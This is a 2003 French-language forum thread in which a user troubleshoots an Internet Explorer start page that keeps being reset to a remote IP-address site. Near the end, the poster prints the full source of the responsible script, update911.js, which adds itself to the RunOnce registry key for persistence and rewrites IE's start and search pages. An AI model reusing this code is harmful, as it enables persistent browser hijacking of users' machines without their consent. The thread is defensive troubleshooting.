hack page demarrage IE

hack page demarrage IE - Win NT/2K/XP - Windows & Software

Marsh Posté le 14-12-2003 à 15:12:47    

Salut.
 
Chaque fois que je redémarre mon pc la page de démarrage par defaut de IE devient http://69.31.86.252/index.php (un moteur de recherche)
 
Une fois que je la remodifie ca marche tout le long de ma session windows. c'est donc que ce hack intervient a la fermeture de windows.
 
Une petite aide?
 
Merci

Reply

Marsh Posté le 14-12-2003 à 15:12:47   

Reply

Marsh Posté le 14-12-2003 à 15:14:16    

arreter d utiliser ie

Reply

Marsh Posté le 14-12-2003 à 15:14:56    

t'as manger un clown toi..

Reply

Marsh Posté le 14-12-2003 à 15:16:41    

bah nan...
 
j avais les meme probleme que toi ça m a tellement gonfler que g arreter d utiliser ie sinon tu te retrouve avec 5000 conneries.
 
Sinon essaie spybot ou ad-aware

Reply

Marsh Posté le 14-12-2003 à 15:16:57    

hack par ci, hack par là ...
 
c'est l'effet d'un spyware. Cherche du coté de spybot ou adaware.

Reply

Marsh Posté le 14-12-2003 à 15:19:30    

Merci, je vais voir de coté.

Reply

Marsh Posté le 14-12-2003 à 16:25:25    

bon aucun des 2 n'a fait la peau a cet emmerdeur.
 
je pensais l'avoir egalement trouvé et effacé dans la base de reistre et il est revenu.
 
une autre idee?

Reply

Marsh Posté le 14-12-2003 à 16:32:57    

HijackThis  :)

Reply

Marsh Posté le 14-12-2003 à 16:51:59    

marche pas non plus

Reply

Marsh Posté le 14-12-2003 à 17:15:12    

j'ai trouvé
 
j'avais un script js sur c:\windows, activé je ne sais comment la permiere fois. Ensuite a chaque demarrage il refaisait son office.
 
nom du fichier :
update911.js
 
contenu :
var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject" );
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell" );
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no" );
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD" );

Reply

Marsh Posté le 14-12-2003 à 17:15:12   

Reply

Marsh Posté le 17-12-2003 à 00:25:56    

Utilise Myie2 au lieu de Ie, beaucoup de problemes vont etre reglé.


---------------
AMD C'est bon, mangez-en.
Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed